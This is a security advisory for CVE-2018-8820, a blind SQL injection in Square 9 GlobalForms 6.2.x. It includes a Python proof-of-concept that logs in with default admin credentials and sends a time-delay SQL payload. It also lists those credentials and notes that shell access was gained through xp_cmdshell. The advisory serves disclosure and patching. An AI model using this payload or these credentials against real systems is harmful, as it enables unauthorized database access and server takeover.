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Square 9 GlobalForms 6.2.x Blind SQL Injection

Square 9 GlobalForms 6.2.x Blind SQL Injection
Posted Mar 29, 2018
Authored by Darrell Damstedt

Square 9 GlobalForms versions 6.2.x and below suffer from a remote blind SQL injection vulnerability.

tags | exploit, remote, sql injection
advisories | CVE-2018-8820
SHA-256 | 0a2f3c92887f53f8b8e820d200b0b67f5b6af33a1df512b22f328b96bed0423e

Square 9 GlobalForms 6.2.x Blind SQL Injection

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# Blind SQL Injection in Square 9 GlobalForms <= 6.2.x (CVE-2018-8820)

## Product Description

GlobalFormsA(r) is Square 9as powerful web forms product. GlobalForms can
live separate of GlobalSearch and runs on a separate Web Engine.

## Vulnerability Type

Blind SQL injection

## Vulnerability Description

Square 9 GlobalForms versions 6.2.x (and possibly others) are vulnerable to
blind SQL injection in the match parameter wihtin the
"/frevvo/web/tn/d/users?match=" path. This is a remotely accessible,
authenticated function within default Square 9 GlobalForms instances.

## Exploit

A proof of concept is available here:
https://github.com/hateshape/frevvomapexec

frevvomapexec.py:

#!/usr/bin/python
import sys
import argparse
import datetime
import requests
from argparse import RawTextHelpFormatter
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

def sqli(target, port, username, password, seconds):
sqlpayload = "')waitfor%20delay'0%3a0%3a" + str(seconds) + "'--"
s = requests.session()
login_data = {'username': 'admin@d', 'password': 'admin', 'lAction':'Login'}
m = s.post('https://' + target + ':' + port + '/frevvo/web/login', data=login_data, verify=False
)

print "Delay #1: " + str(datetime.datetime.utcnow())
r = s.get(('https://' + target + ':' + port + "/frevvo/web/tn/d/users?match=t" + sqlpayload), verify=False, cookies=s.cookies)

print "Delay #2: " + str(datetime.datetime.utcnow())

if __name__ == '__main__':
parser = argparse.ArgumentParser(description="""

Proof of Concept script for vulnerability validation.
- Type of issue: Authenticated SQL injection
- Product: Square 9 GlobalForms 6.2
- Version: v6.2.1.27377""",formatter_class=RawTextHelpFormatter)

Required = parser.add_argument_group('Required')
#Required
Required.add_argument('-t', '--target', help='Target URL or IP Address', required=True)
Required.add_argument('-s','--seconds', help='Number of seconds to pause Frevvo', required=True)
Required.add_argument('-o','--port', help='Frevvo Web Server Port', required=True)

#Optional
parser.add_argument('-u', '--username', help='Login Username', default='admin', action="store_true", required=False)
parser.add_argument('-p', '--password', help='Login Password', default='admin@d', action="store_true", required=False)

args = parser.parse_args()

sqli(args.target,args.port,args.username,args.password,args.seconds)

if len(sys.argv) == 1:
parser.print_help()



## Versions

Square 9 GlobalForms <= 6.2.x

## Attack Type

Authenticated, Remote

# Default Credentials
Username: admin
Password: admin@d

## Impact

The SQL injection vulnerability can be used to exfiltrate sensitive
information from the MSSQL DBMS used with GlobalForms. In every case that
was tested the DBMS was running with SYSTEM privileges and was successfully
used in conjunction with xp_cmdshell to establish an interactive shell.

## Credit

This vulnerability was discovered by Darrell Damstedt <hateshape () gmail
com>.

## References

CVE: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-8820


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